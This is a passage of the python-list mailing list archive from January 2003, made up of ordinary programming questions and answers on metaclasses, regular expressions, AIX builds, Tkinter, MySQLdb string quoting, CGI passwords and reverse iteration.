> > metaclasses.  I've begun using metaclasses in my library code, and I
> > like it -- but (I think) I'd need to make my metaclass a subclass of
> > this canonical metaclass in order for them to be compatible.  Unless
> > maybe you could do __metaclass__ = (PropMetaclass, SomeOtherMetaclass)
> > -- I haven't tested that (and metaclasses seem poorly documented right
> > now).  I still don't feel entirely comfortable with my understanding of
> > the semantics of metaclasses, so I couldn't quite predict what multiple
> > metaclasses would mean.
> 
> You want
> 
> __metaclass__=type('DoubleMetaclass',(PropMetaclass, SomeOtherMetaclass),{})

Okay, now what does that *mean*? :)  (It doesn't seem to be in the
documentation)

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From cjw at sympatico.ca  Wed Jan 15 11:56:28 2003
From: cjw at sympatico.ca (Colin J. Williams)
Date: Wed, 15 Jan 2003 11:56:28 -0500
Subject: String representation of an identifier's name
References: <67446a0a.0301121334.22fe0673@posting.google.com> <v23sgen8b6ds55@news.supernews.com>
Message-ID: <3E2592BC.2D554A1D@sympatico.ca>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/a53b4f85/attachment.html>

From boettcher at rz.rwth-aachen.de  Tue Jan 14 04:28:13 2003
From: boettcher at rz.rwth-aachen.de (Thomas Boettcher)
Date: Tue, 14 Jan 2003 10:28:13 +0100
Subject: Extracting int from string
In-Reply-To: <mailman.1042500564.32411.python-list@python.org>
References: <mailman.1042500564.32411.python-list@python.org>
Message-ID: <3E23D82D.4050402@rz.rwth-aachen.de>

hi spencer,

 >>On 13 Jan 2003, Spencer Ernest Doidge wrote:
 >>>'X=   45   A'
 > On Mon, 13 Jan 2003, [iso-8859-15] Mikael Sch?nenberg wrote:
 >>>>>int(''.join([c for c in 'X=   45   A' if c in '0123456789']))

micke's code just cuts out all non-digits and presents the int of the 
remainder. so 'X=    45   A   32' for example would produce 4532 - if 
thats what you want.

maybe you want something like this:


# importing regular expressions module
import re

# regular expression to find the first number in a string
reObj = re.compile('\D*(\d+)')

# producing your answer
answer = int( reObj.match('X=   45   A').group(1) )



the reObj has to be compiled once but can be used at multiple locations 
in your program.

if your string does not contain a number this will throw an 
AttributeError since the reObj.match will be None.

have fun

tomtom

-- 
++ Thomas Boettcher               Computing and Communication Center ++
++ office: 2.35                      University of Technology Aachen ++
++ phone: +49 (241) 80-29205                        Seffenter Weg 23 ++
++ mailto:boettcher at rz.rwth-aachen.de          52074 Aachen, Germany ++




From hgg9140 at cola2.ca.boeing.com  Wed Jan 29 14:01:55 2003
From: hgg9140 at cola2.ca.boeing.com (Harry George)
Date: Wed, 29 Jan 2003 19:01:55 GMT
Subject: Any AIX experts out there?
References: <mailman.1043819092.30996.python-list@python.org> <b191tp$228s$1@nntp6.u.washington.edu>
Message-ID: <xqx4r7req58.fsf@cola2.ca.boeing.com>

"Donn Cave" <donn at u.washington.edu> writes:

> Quoth Laura Creighton <lac at strakt.com>:
> | The Snake Farm is having trouble building Python on AIX.
> | See: http://lists.lysator.liu.se/pipermail/snake-farm/2003-January/000654.html
> |
> | Does anybody recognise these symptoms?
> 
> No.  As Neal surmises, a problem with the host is as likely as anything
> else - we have a number of AIX boxes here and I wouldn't touch installation
> or maintenance of the IBM software with a stick, leave that to specialists
> and keep an eye out for problems anyway.
> 
> I configured 2.2.1 with platform type rs6000-ibm-aix4.1,
> OPT='-O2 -qmaxmem=8192', CC=cc and --with-cxx=no.
> 
> 	Donn Cave, donn at u.washington.edu

I just compiled Python2.2.2 on AIX yesterday.  Worked fine, though it
was pretty big -- 7MB, but that included tkinter.  Used gcc 2.95.3.
Used ./configure --prefix=... --with-gcc.  Configure got everything
else right.

I agree that AIX is a tricky world for OSS.  Sometimes I have to use
the vendor compiler (xlC), sometimes the libraries are hard to find,
sometimes it just doesn't build, etc.  




-- 
harry.g.george at boeing.com
6-6M31 Knowledge Management
Phone: (425) 294-8757



From max at alcyone.com  Fri Jan  3 08:56:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 05:56:35 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au>
Message-ID: <3E159693.28FEE9BC@alcyone.com>

Simon Burton wrote:

> I think he meant in comparison to your average point and click editor.

I might grant that (for non-graphical versions of emacs; GNU emacs with
X support or XEmacs are very much point-and-click friendly), but would
vi really fair better?  Point-and-clickers would be utterly dumbfounded
by vi upon a first encounter; you have to enter a code to even start
typing!

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The doors of Heaven and Hell are adjacent and identical.
\__/ Nikos Kazantzakis
    Alcyone Systems' Daily Planet / http://www.alcyone.com/planet.html
 A new, virtual planet, every day.



From maxm at mxm.dk  Mon Jan 27 05:06:20 2003
From: maxm at mxm.dk (Max M)
Date: Mon, 27 Jan 2003 11:06:20 +0100
Subject: Slurping Web Pages
In-Reply-To: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <xu7Z9.46204$Hl6.5869460@news010.worldonline.dk>

Tony Dunn wrote:
> I've started a new project where I need to slurp web pages from a site that
> use cookies to authenticate access.  I've used *urllib* in the past to grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.

Relevant link here:

http://groups.google.com/groups?q=maxm+urllib2&hl=da&lr=&ie=UTF-8&oe=utf-8&selm=3E1AB61C.8000309%40mxm.dk&rnum=2


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From max at alcyone.com  Tue Jan 21 01:23:42 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 22:23:42 -0800
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com> <3E2BA4C3.923BE9D2@alcyone.com> <pan.2003.01.21.02.35.29.469239@illumid.com>
Message-ID: <3E2CE76E.11EC491C@alcyone.com>

Jimmie Fulton wrote:

> # f = os.popen("tail -n+1 --follow=name | tai64nlocal | grep rblsmtpd","r")
	...
> The command I'm issuing on the command line:
> ./rblLogger.py < /var/log/qmail/qmail-smtpd/current | tai64nlocal |
> grep rblsmtpd

These do not do the same thing.

The first behaves like

	something | somethingElse | yetSomethingElse | ./script

but the latter behaves like

	(./script < something) | somethingElse | yetSomethingElse

Redirections (<, >) aren't intermixable with pipes (|) like that.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ To be refutable is not the least charm of a theory.
\__/ Friedrich Nietzsche
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From webmaster at watchtowerDOTorg.pl  Tue Jan 14 18:38:03 2003
From: webmaster at watchtowerDOTorg.pl (=?ISO-8859-2?Q?Jaros=B3aw_Zabie=B3=B3o?=)
Date: Wed, 15 Jan 2003 00:38:03 +0100
Subject: re module & problem with utf-8
Message-ID: <re792v4c5id95lj4e3hjakg9vr22e3cvri@4ax.com>

I found, Python 2.2 has big problems with utf-8 characters in re
module. Look, what stupid results it generates.

First, I create example string with some cp1250 characters separated
with a space:

>>> s = '? ? ? ? ? ? ? ? ?'
>>> s
'\xb9 \xe6 \xea \xb3 \xf1 \xf3 \x9c \xbf \x9f'

Nex, I convert it to utf-8 string:

>>> u = unicode(s, 'cp1250').encode('utf-8')
>>> u
'\xc4\x85 \xc4\x87 \xc4\x99 \xc5\x82 \xc5\x84 \xc3\xb3 \xc5\x9b
\xc5\xbc \xc5\xba'

Now, I try to extract my separated characters:

>>> re.compile(r'(\w)', re.U).findall(u)
['\xc4', '\xc4', '\xc4', '\xc5', '\xc5', '\xc3', '\xb3', '\xc5',
'\xc5', '\xbc', '\xc5', '\xba']

Failed! Python did not understand, that it is utf-8 string although I
set up re.U flag. :(

I tried another regex pattern:

>>> re.compile(r'(\S)', re.U).findall(u)
['\xc4', '\xc4', '\x87', '\xc4', '\x99', '\xc5', '\x82', '\xc5',
'\x84', '\xc3', '\xb3', '\xc5', '\x9b', '\xc5', '\xbc', '\xc5',
'\xba']

Failed again! It seems, re module is buggy. It does not extract
correctly utf-8 characters. Bad news. :(

-- 
JZ



From otttr440 at student.liu.se  Tue Jan 21 19:19:46 2003
From: otttr440 at student.liu.se (Otto Tronarp)
Date: 22 Jan 2003 01:19:46 +0100
Subject: Database newbie - Sound Software Engineering practice for DB
Message-ID: <1043194785.11809.85.camel@mathcore2>

Hi,

I'm a complete database newbie, the little I know I learned the last
couple of hours when browsing the web, and have a couple of questions on
what sound software engineering practice is when it comes to using
databases.

Say that I want to make an app that calculates some statistics of soccer
matches in several different leagues. So I have the following SQL table:
CREATE TABLE matches (date DATE,
                      home_team VARCHAR(20), 
                      away_team VARCHAR(20), 
                      home_score INT, 
                      away_score INT, 
                      league_id VARCHAR(5));

(BTW: Is it smart to have have all the matches from all leagues in the
same table or should I have one matches table per league?)

So if I want all the matches where arsenal plays at home I could do
(with MySQLdb) something like this (untested code):

con = MySQLdb.connect()
cur = con.cursor()
cur.execute("""USE soccer""")
cur.execute("""SELECT * FROM matches WHERE home_team="Arsenal" """)
result = cur.fetchall()

But it doesn't look to good with all those "raw" SQL statements
cluttered everywhere in the code, if I change the structure of the table
I might need to change the code in a lot of places. So, I thought it was
a good idea to hide it in a class, maybe something like this.

class LeagueDB:
    def __init__ (self, con, dbname):
        self.con = con
        self.dbname = dbname
    def _newCursor(self):
        cur = self.con.cursor()
        #with MySQLdb I could use db.select_db but this
        #doesn't look like a part of the DB2 API so....
        cur.execute("""USE %s""" % self.dbname)
        return cur

    def getHomeMatches(self, team):
        cur = self._newCursor()
        cur.execute("""SELECT * from matches WHERE home_team="%s" """,
team)
	return cur


But often I want different constraints on the query, like only matches
before a specific date or in a specific time period, etc. I could do a
getHomeMatchesBeforeDate(self, team, date),
getHomeMatchesForTimePeriod(self, team, start_date, end_date) but it is
pretty clumsy so I want something like getHomeMatches(self, team,
constraints), any ideas how I could implement that in a smooth way? Or
am I completely off track and should use raw SQL queries all the time?
Or is there another way?

Further, returning the cursor and operate on the rows directly exposes
how the table is structured so I thought something like this would be
appropriate  

class LeagueDBResult:
    def __init__(self, cur):
        self.cur = cur
    
    def __iter__(self):
        return self
   
    def next(self):
        row = cur.fetchone()
        if not row:
            #maybe close cursor?
            raise StopIteration
            m = Match(row) #Constructs a match object from a row
        return m

and change the return in getHomeMatches to return LeagueDBResult(cur).

Am I on track here and this is "The Right Thing" to do or should I go
back to the drawing board?

Does anyone have any suggestion on a smal app that uses databases in The
Right Way that I could study and learn from? Or any other pointers
suggestions?


Regards,
Otto





From bhards at bigpond.net.au  Tue Jan  7 04:09:52 2003
From: bhards at bigpond.net.au (Brad Hards)
Date: Tue, 7 Jan 2003 20:09:52 +1100
Subject: help with counter
In-Reply-To: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>
References: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>
Message-ID: <200301072009.52674.bhards@bigpond.net.au>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tue, 7 Jan 2003 07:20, Bill Carter wrote:
> #sample command line
> pyrename.py file.01.txt file.400.txt  3 newfile.01.txt
>
> # breakdown
> script name / filename of first file / last filename / drop every 3rd
> file / new filename and start number
I won't code it for you (partly because the problem is underspecified), but as 
a general suggestion, try to loop through the various file names. Inside the 
loop, increment a counter. Also within the loop, test the value of the 
counter against the drop count (using a modulo operator), and if appropriate, 
call os.rename(). I think this is less than 10 lines of code.

Brad
- -- 
http://linux.conf.au. 22-25Jan2003. Perth, Aust. I'm registered. Are you?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+GplgW6pHgIdAuOMRAruYAJ9xhe1GiLtRnXD0YXoPbhKpYEdbXgCfaQ4A
2x5yUQ+rZvMQBduN6QXYBuk=
=QpAX
-----END PGP SIGNATURE-----





From danielk at jbase.com  Fri Jan 10 15:58:51 2003
From: danielk at jbase.com (Daniel Klein)
Date: Fri, 10 Jan 2003 12:58:51 -0800
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <3vcu1vk3gnsgo6n022huq3tf28mkjd880n@4ax.com>

On Fri, 10 Jan 2003 11:13:06 +0100, Axel Kowald <kowald at molgen.mpg.de>
wrote:

>Hi everybody,
>
>I just had a look at these very detailed benchmark tests, 
>http://www.bagley.org/~doug/shootout/, and I was surprised to see that 
>often java is 20 times faster than python !!
>
>How can this be? Both languages interprete bytecode. Maybe because java 
>has a JIT compiler ??
>Is there any hope that python might become faster in future releases ?

How long did it take them to write the Java tests compared to writting
the Python tests? ;-)

Dan



From goodger at python.org  Tue Jan 21 17:10:02 2003
From: goodger at python.org (David Goodger)
Date: Tue, 21 Jan 2003 22:10:02 GMT
Subject: translate txt into HTML
In-Reply-To: <18f9f477.0301210606.45d9eaca@posting.google.com>
References: <18f9f477.0301210606.45d9eaca@posting.google.com>
Message-ID: <BA53302B.2F2C2%goodger@python.org>

Natacha wrote:
> We have to create a program allowing to go to seek two textual files
> bruts(.txt), but we would like to translate them into HTML.
> 
> we think that a parser should be used, but we do not know how to make!

Try Docutils: http://docutils.sf.net/

-- David Goodger    http://starship.python.net/~goodger

Programmer/sysadmin for hire: http://starship.python.net/~goodger/cv




From pyth at devel.trillke.net  Wed Jan  8 08:48:03 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 14:48:03 +0100
Subject: no side effects
In-Reply-To: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>; from mis6@pitt.edu on Wed, Jan 08, 2003 at 05:10:04AM -0800
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <20030108144803.A349@prim.han.de>

Michele Simionato wrote:
> I was surprised by the following code:
> 
> >>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
> 
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.
> I am not against that (I am even in favor), but it fooled my 
> intuition coming from other languages.
> Maybe others will appreciate that.

One of the important things to know about python is the 
namespace concept.  In a namespace (be it local or global)
a name is bound to an object.  In

    for i in [1,2,3]:
        print i
        i=3

the for-loop will iteratively bind the (local) name to  
1, then 2, then 3.  It never looks at the binding of
the name 'i'.  With 'i=3' you only change the binding
of 'i' to the object '3' but the for-loop will blindly
change the binding again. 

To see the difference, in C, for example,  a name points 
to a memory location and 'i=3;' will do something to 
the memory location. 

Python's namespace abstraction is truly powerful although
sometimes surprising if you are used to thinking of 
'variables' and 'memory locations'. 

cheers,

    holger




From pan-newsreader at thomas-guettler.de  Wed Jan 22 02:04:26 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Wed, 22 Jan 2003 08:04:26 +0100
Subject: Python, COM & Excel
References: <mailman.1043189517.32123.python-list@python.org>
Message-ID: <pan.2003.01.22.08.04.26.71029.725@thomas-guettler.de>

On Tue, 21 Jan 2003 23:42:23 +0100, Mike Brenner wrote:

Thomas:
>> There is a different way to
>> combine MS-Office and Python: XML.
>> Write yourself a small SAX parser
>> and change the things you want to
>> change and then write it back to XML.
> 
> Hi Tom,
> 
> I understand that xml goes well with Python; however, I don't understand
> how xml integrates well with MS-Office, particularly EXCEL.
> 
> If I have an Excel Spreadsheet, are you saying that there is a way to
> get it into XML and that there is away to get that XML back into EXCEL?
> 
> I would like to know how to do that, particularly with merged cells,
> cells with different borders from their neighbors, filters, and macros.

Hi Mike!

I had only simple needs. I did not work with merged cells or filters.
But the XML is quite readable. It should be possible to parse it,
find the parts you are interested in, change them and write the whole
thing back.

Or you could access an excel spreadsheet via odbc. But I think that
this won't work with merged cells.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From missedby2inches at gmx.net  Sat Jan 25 06:18:03 2003
From: missedby2inches at gmx.net (Two Inches)
Date: Sat, 25 Jan 2003 12:18:03 +0100
Subject: Looking for CORBA examples, or something better
In-Reply-To: <mailman.1043440544.16542.python-list@python.org>
References: <mailman.1043440544.16542.python-list@python.org>
Message-ID: <b0trnh$cls$2@mamenchi.zrz.TU-Berlin.DE>

Grzegorz Adam Hankiewicz wrote:
> Hi.
> 
> After a university brainwash of Java's RMI and Microsoft's COM, I'm
> looking for a python CORBA... interface? I mean, an example/module
> I should use to communicate to other CORBA objects.
> 
> CORBA is usually more code verbose than Java's RMI, because RMI
> knows it's talking to another Java. Is there something similar
> in Python? Something easier to write than CORBA but restricted to
> python. Maybe YAMI?
> 
> Please point me towards the juicy documentation (huh, google is
> unreachable from my end now)

Some good examples of CORBA and Python in action can be found on 
random.org :-)




From tundra at tundraware.com  Wed Jan  8 19:40:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 09 Jan 2003 00:40:07 GMT
Subject: tkinker:Simulating GUI Button Press
Message-ID: <q0giva.1hg.ln@boundary.tundraware.com>

I have this code:

class myUI:

     def __init__(self, root):

         # Setup Menubar frame

         self.mBar = Frame(root, relief=RAISED, borderwidth=2)
         self.mBar.pack(fill=X)

         # Setup the Command Menu

         self.CmdBtn = Menubutton(self.mBar, text=COMMANDMENU, underline=0, state=DISABLED, font=(FNAME, FSZ, "bold"))
         self.CmdBtn.menu = Menu(self.CmdBtn, font=("courier", FSZ, "bold"))
         self.CmdBtn.pack(side=LEFT, padx='2m')

         # Setup the Directory Menu

         self.DirBtn = Menubutton(self.mBar, text=DIRMENU, underline=0, font=(FNAME, FSZ, "bold"))
         self.DirBtn.menu = Menu(self.DirBtn, font=("courier", FSZ, "bold"))
         self.DirBtn.pack(side=LEFT, padx='2m')

  ....


Is there a way to programmatically generate the event that acts like
CmdBtn or DirBtn have been pressed?  I am familiar with keyboard events,
but cannot seem to figure out how to activate a Menubutton element as if
it has been clicked by the user...

TIA,
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From tim at nowhere  Mon Jan 20 18:00:38 2003
From: tim at nowhere (Tim)
Date: Mon, 20 Jan 2003 23:00:38 -0000
Subject: jythonc and xml parser
Message-ID: <3e2c7f97$0$246$cc9e4d1f@news.dial.pipex.com>

Hullo
Has anyone managed to get an xml parser to work with jythonc?
the simple program:
from xml.sax import make_parser

parser = make_parser()

works in jython (but doesn't do much ;-) ). However, when built with:
jythonc -c --jar a.jar <filename>
and then run, it cannot find a parser (SAXReaderNotAvailable: No parsers
found).

I can dig back through the modules but not fnd the source of the trouble,
and jythonc is a pain to debug (insert print stmts is the only way that I
can see.) I'm using PyXML 0.7.1 as the default xml parser with jython for
windows xp doesn't seem to parse at all. Since it seems to work ok with
jython, I'm guessing that there's some magic modules to include to make it
work, but progress is too slow with the print stmts.

any thoughts or better knowledge/insights?

Tim





From mhearne808 at yahoo.com  Wed Jan 29 23:05:30 2003
From: mhearne808 at yahoo.com (Mike Hearne)
Date: 29 Jan 2003 20:05:30 -0800
Subject: trouble with Pmw.Color.changecolor
Message-ID: <6af33541.0301292005.46d7e562@posting.google.com>

Hi - According to the documentation, the following should work:

>>> from Tkinter import *
>>> import Pmw
>>> root = Tk()
>>> st = Pmw.ScrolledText(root,hull_width=200,hull_height=200)
>>> st.pack()
>>> hull = st.component('hull')
>>> Pmw.Color.changecolor(hull,background='black',foreground='green')

When I run this (RedHat Linux 8.0, Python 2.2.1, Pmw 1.1), I get a
green foreground color, but my background color is still white.  I can
set foreground color to anything I like, but nothing has an effect on
background color.

Am I missing something?

Thanks,

Mike



From alan_salmoni at yahoo.com  Wed Jan 22 06:33:02 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 22 Jan 2003 03:33:02 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com>
Message-ID: <b68f71a7.0301220333.143efd58@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E2DFBC6.32058F2C at alcyone.com>...
> Greg Brunet wrote:
> 
> > Just as a point of information, I was reading this article about Java
> > and the recent ruling that MS must include it in Windows & .NET
> > (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> > had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> > Python as a "B" status language with declining popularity.
> 
> I coincidentally just noticed this latter site (the one that ranks
> Python as a "B" language with declining popularity), and had probably
> the same reaction.  It purports to estimate the rankings based on Google
> searches, and turns those results into a "rating," and then assigns a
> "status" (A or B) based on, presumably, the value of that rating.
> 
> So little information about this rating system is given that I would be
> inclined not to give it much weight.  The consideration of HTML and
> (particularly) XML as "programming languages," the arbitrary cutoff
> between "A" and "B" languages, and the total lack of detail (I admit to
> not poring over the site, but I couldn't find any obvious quantitative
> information about how these figures are calculated and where the lines
> are drawn) leads me to put very little weight into the information
> presented there.
> 
> They admit to subjective elements being present (to their credit), but
> give such heavy-hitting advice as, "Programming languages that have
> status 'A' are considered to be mainstream languages. It is strongly
> adviced [sic] to stick to those languages for industrial,
> mission-critical software systems."  Since we don't know how these
> ratings are calculated, and what distinction they've chosen between an
> "A" and a "B" language, I find it extremely hard to take this advise
> [sic] terribly seriously :-).

I suppose somebody had better tell NASA that they shouldn't be using
Python. And saying that Basic is better for "industrial,
mission-critical software systems" than Ada? I thought that was
precisely the kind of task that Ada excels at (things like control
systems for nuclear power stations, missile control systems and the
like).

>From the site: "The ratings are based on the world-wide availability
of skilled engineers, courses and third party vendors. The popular
search engine Google is used to calculate the ratings."

It is also possible that the way in which a language operates is an
important factor: With Python, there is little need for third party
vendors as it comes with so much in the basic installation, and its
ease of learning reduces the need for courses.

Alan James Salmoni
SalStat Statistics
http://salstat.sunsite.dk



From chrisk at nipltd.com  Fri Jan 24 14:09:02 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 24 Jan 2003 19:09:02 +0000
Subject: MySQLdb and strings with quotes / long strings
Message-ID: <3E318F4E.8010008@nipltd.com>

Hi All

I'm trying to put email messages into a MySQL database. I'm happy enough 
with the 65k character Text field length limit, however I'm having 
trouble getting the data in.

I construct a SQL string insert into... set body='%s'... %(body)

body has had body = string.replace(body, "'", "''") done to it, which 
should escape the strings with quotes in, but I get this traceback

Traceback (most recent call last):
   File "mailboxreader.py", line 85, in ?
     sql.add_message(db, message.get("From"), 
email.Utils.parsedate(message.get("Date")), message.get("SUBJECT"), body)
   File "sql.py", line 74, in add_message
     curs.execute(sqlstr)
   File "/usr/lib/python2.1/site-packages/MySQLdb/cursors.py", line 61, 
in execute
     r = self._query(query)
   File "/usr/lib/python2.1/site-packages/MySQLdb/cursors.py", line 168, 
in _query
     rowcount = self._BaseCursor__do_query(q)
   File "/usr/lib/python2.1/site-packages/MySQLdb/cursors.py", line 112, 
in __do_query
     db.query(q)
_mysql_exceptions.ProgrammingError: (1064, "You have an error in your 
SQL syntax near 't actually do it''\n    print ''\\t-p\\tmanager 
permissions, in the form''\n    prin' at line 1")

looks like the escaping did not work? How have other people got round 
this one?

All ideas/advice appreciated.

Thanks

Chris




From toni at soth.at  Tue Jan 21 15:04:56 2003
From: toni at soth.at (Toni Andjelkovic)
Date: 21 Jan 2003 20:04:56 GMT
Subject: HTTPS Server
References: <avu4qn$md3$1@newsreader1.netway.at> <slrnb2k2t5.em5.toni@outpost.soth.at> <DxwW9.21446$YG2.637142@twister1.libero.it> <slrnb2lrn7.em5.toni@outpost.soth.at> <mailman.1043039140.12384.python-list@python.org>
Message-ID: <slrnb2ra02.err.toni@outpost.soth.at>

In article <mailman.1043039140.12384.python-list at python.org>, Dave Brueck wrote:
> On Sun, 19 Jan 2003, Toni Andjelkovic wrote:
>> stunnel should work transparently for the application, so that
>> no coding is necessary.
> 
> It wouldn't be _completely_ transparent though - in particular logging
> would be messed up because the client IP will always be 127.0.0.1, right?
> (or, the IP of the stunnel machine if it's a gateway into your network).

However, there is a transparent proxy mode for stunnel, but AFAIK
it works only on Linux.

Cheers,
-- 
Toni Andjelkovic
<toni at soth.at>




From max at alcyone.com  Tue Jan 14 05:25:24 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 02:25:24 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com>
Message-ID: <3E23E594.52D2D791@alcyone.com>

Will Stuyvesant wrote:

> Sending a password to a CGI script with this HTML::
> 
>     <input type=password name=pwd>
> 
> is scary for a user since he sees the pwd appearing
> in the url the browser calls.  This is when you use
> the GET method (I'd rather not use POST, see below).
> Is there a way to encrypt a password before it is
> sent?  Maybe completely different HTML?  I know
> about the getpass module but I want the user to be
> able to only use his browser.

No, not with pure CGI and HTML.  With client-side scripting you could.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ You must surely know / If man made Heaven, then man made Hell
\__/ Level 42
    Polly Wanna Cracka? / http://www.pollywannacracka.com/
 The Internet resource for interracial relationships.



From kibab at icehouse.net  Wed Jan  1 14:55:03 2003
From: kibab at icehouse.net (Kaleb Pederson)
Date: Wed, 1 Jan 2003 11:55:03 -0800
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <200301011940.04314.phil@river-bank.demon.co.uk>
References: <200301010958.45042.kibab@icehouse.net> <200301011940.04314.phil@river-bank.demon.co.uk>
Message-ID: <200301011155.12269.kibab@icehouse.net>

On Wednesday 01 January 2003 11:40 am, you wrote:
> On Wednesday 01 January 2003 5:58 pm, Kaleb Pederson wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
<snip>
> >
> > It turns out, however, that the thread locks in the middle of my run()
> > call and never completes. I'm cross-posting this message as I'm not
> > familiar with Python extension modules and I don't know if PyQt could
> > have caused this, it is a Python bug (or feature) or if there is a
> > problem in the mysqldb module code.
> >
<snip>
> > So does anyone have any idea what's wrong or how to fix it? Please email
> > me as well if you aren't posting to the PyQt/Python list (kibab at
> > icehouse dot net).
>
> To quote the Python source the lock is "to prevent parallel imports of the
> same module in different threads to return with a partially loaded module".
> What other imports (or the same import in other threads) might be happening
> at the same time?
>

At this point in my application there is nothing else "NEW" going on.  That 
is, I'm in the middle of the event loop and this occurs in response to a 
button press.  The thread, of course, returns control to my application which 
then waits for more user input.  I can think of no reason anything else would 
be trying to import ListType, TupleType, or exc_info.  Furthermore, this is 
the first thread I spawn (although the behavior is similar for all subsequent 
threads) thus, I would hope there would be no other blocked threads.

Phil, wouldn't the block cease once the "other" thread had successfully 
imported the module thereby unblocking my thread?  Never through the rest of 
my application life does that thread unblock.

Thanks for the info.

--Kaleb





From jbperez808 at yahoo.com  Fri Jan 17 04:05:31 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 01:05:31 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com>
Message-ID: <f57664b9.0301170105.a7d95fa@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E274D34.8F0C4348 at alcyone.com>...
> "Jonathan P." wrote:
> 
> > Is there an elegant and
> > efficient way to iterate through x in
> > reverse without having to create a reversed
> > copy of it (i.e. y=x[:]; y.reverse())?
> 
> It's not too elegant, but
> 
> 	for j in range(len(x) - 1, -1, -1):
> 	    i = x[j]
> 	    print i

This looks like the best bet so far short of using 2.3.
One thing though, would using xrange instead of range
be preferable?


Chad Netzer wrote:

> Yeah, so you may need to do a copy/reverse  or a 
> reverse/reverse, to keep the original list.

reverse/reverse saves on memory but it implies that 
for reverse() to be a win over a reverse iterator it 
has to be at least twice as fast as the latter.  I
find it very un-Pythonic to have to maintain 2 copies 
of the same list just to be able to access it in 2 
different ways. reverse/reverse feels pretty unPythonic
as well...



From bruce at hoult.org  Wed Jan  1 02:19:07 2003
From: bruce at hoult.org (Bruce Hoult)
Date: Wed, 01 Jan 2003 20:19:07 +1300
Subject: 12 years of Python and only at v2.2
References: <m29quuc6qjvvr1arhcb21ncfu0f7dd3c4i@4ax.com> <slrnauqe1i.250.jgoerzen@r01.complete.org> <vtiquukeckhj0sfj3rs7epncerduhnc2js@4ax.com>
Message-ID: <bruce-C681BF.20190701012003@copper.ipg.tsnz.net>

In article <vtiquukeckhj0sfj3rs7epncerduhnc2js at 4ax.com>,
 Manuel M. Garcia <mgarcia at cole-switches.com> wrote:

> I think Linux, Python, GCC have relatively low version numbers
> considering their age and that none of them are "closed" to new
> features.  But it is true this only gives insight into the "marketing"
> of new versions.

Over in the Dylan camp, we've currently got d2c at version 2.3.9 and 
looking to declare it as a new 2.4 "stable" sometime in the next year or 
so (no doubt 2.3.10 will happen first, maybe 2.3.11).

That seems ok.

Then you realize that we've been hacking on it for nearly five years now 
since the basic thing was released as free software by CMU, and as soon 
as we got it to compile on Linux we called it "2.2" *AND* 2.2 today 
looks so totally antiquated that I couldn't possibly use it for anything 
more than bootstrapping the latest version.

SO, on average, we've incremented 2.3.n every six months or so.  Which 
has seemed about right.  Every version has been a significant 
improvement on the previous one.

-- Bruce



From mertz at gnosis.cx  Mon Jan  6 14:49:02 2003
